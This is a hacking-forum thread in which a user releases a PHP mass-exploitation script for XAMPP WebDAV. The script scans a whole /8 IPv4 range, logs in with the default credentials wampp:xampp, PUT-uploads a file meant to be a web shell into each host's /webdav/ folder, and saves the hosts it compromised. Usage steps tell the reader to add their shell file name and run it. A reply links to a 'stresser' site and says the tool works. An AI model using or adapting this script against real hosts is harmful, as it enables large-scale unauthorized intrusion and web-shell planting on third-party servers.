

Forum:[Hack Forums](#)

Thread: [PHP webdav exploiter](#)

sm0key7 - September 13, 2014, 3:34 am

Hi there,

I'm Sm0key7 and here is a release of my PHP webdav exploiter!

PHP Code

```
<?php
/*
 * Sm0key7 PHP webdav exploiter
 */
error_reporting(0);
set_time_limit(0);
$start = $argv[1];
$ch = array();
$mh = curl_multi_init();
$working = $start.".255.255.255";
$slot=0;
$ex=0;
for($a=0;$a<=255;$a++) {
    for($b=0;$b<=255;$b++) {
        $mh = curl_multi_init();
        for($c=0;$c<=255;$c++) {
            $credentials = array(
                'wampp',
                'xampp'
            );
            $file = 'hekploit.txt';
            $filesize = filesize($file);
            $fh = fopen($file, 'r');
            $remoteUrl = "http://".$start.".".$a.".".$b.".".$c."/webdav/";
            $ch[$c] = curl_init($remoteUrl . $file);
            curl_setopt($ch[$c], CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch[$c], CURLOPT_HTTPAUTH, CURLAUTH_ANY);
            curl_setopt($ch[$c], CURLOPT_USERPWD, implode(':', $credentials));
            curl_setopt($ch[$c], CURLOPT_PUT, true);
            curl_setopt($ch[$c], CURLOPT_INFILE, $fh);
            curl_setopt($ch[$c], CURLOPT_INFILESIZE, $filesize);
            curl_setopt($ch[$c], CURLOPT_CONNECTTIMEOUT, 20);
            curl_setopt($ch[$c], CURLOPT_TIMEOUT, 20);
            curl_multi_add_handle($mh,$ch[$c]);
        }
        $active = null;
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
```

```

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) != -1) {
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }
}
echo "Working on: ".$start." ".$a." ".$b.".255 - ".$working."\nStats:\n\nTime:".date("d-m-Y H:i:s", time())."\nScanned:".$slot."\nExploided:".$ex."\n\n\n\n\n\n\n\n\n\n\n";
for($i=0;$i<=255;$i++) {
    $info = curl_getinfo($ch[$i], CURLINFO_HTTP_CODE);
    if ($info==201) {
        file_put_contents('webdavs.txt', "http://".$start." ".$a." ".$b." ".$i."/webdav/\n", FILE_APPEND);
        $ex++;
    }
    curl_multi_remove_handle($mh, $ch[$i]);
    $slot++;
}
curl_multi_close($mh);
}
}
?>

```

Howto use?

1. Change on line 21 your shell file name.
2. Run the script via PHP CLI on this way: php exploiter.php 204

Where 204 is your starting range

and the script is going to scan:

204.0.0.0-204.255.255.255

If you like it vouch it!

•C#N†®Â©T-K¿LL®-• - September 13, 2014, 1:12 pm

<http://platinumstresser.com/exploit/test.php>

it sorta works here is what is looks like ^